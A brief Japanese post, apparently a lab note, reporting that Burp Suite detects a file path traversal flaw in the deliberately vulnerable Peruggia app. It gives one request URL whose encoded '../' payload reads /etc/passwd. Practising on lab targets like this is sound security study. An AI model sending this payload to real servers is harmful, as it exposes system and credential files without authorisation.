Hello there, ('ω')ノ
PeruggiaでBurp SuiteだとFile path traversalを検出できて。

リクエストとレスポンスの内容を確認して。

下記のURLで現象を確認して。
/peruggia/index.php?action=learn&type=BoF&paper=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

Best regards, (^^ゞ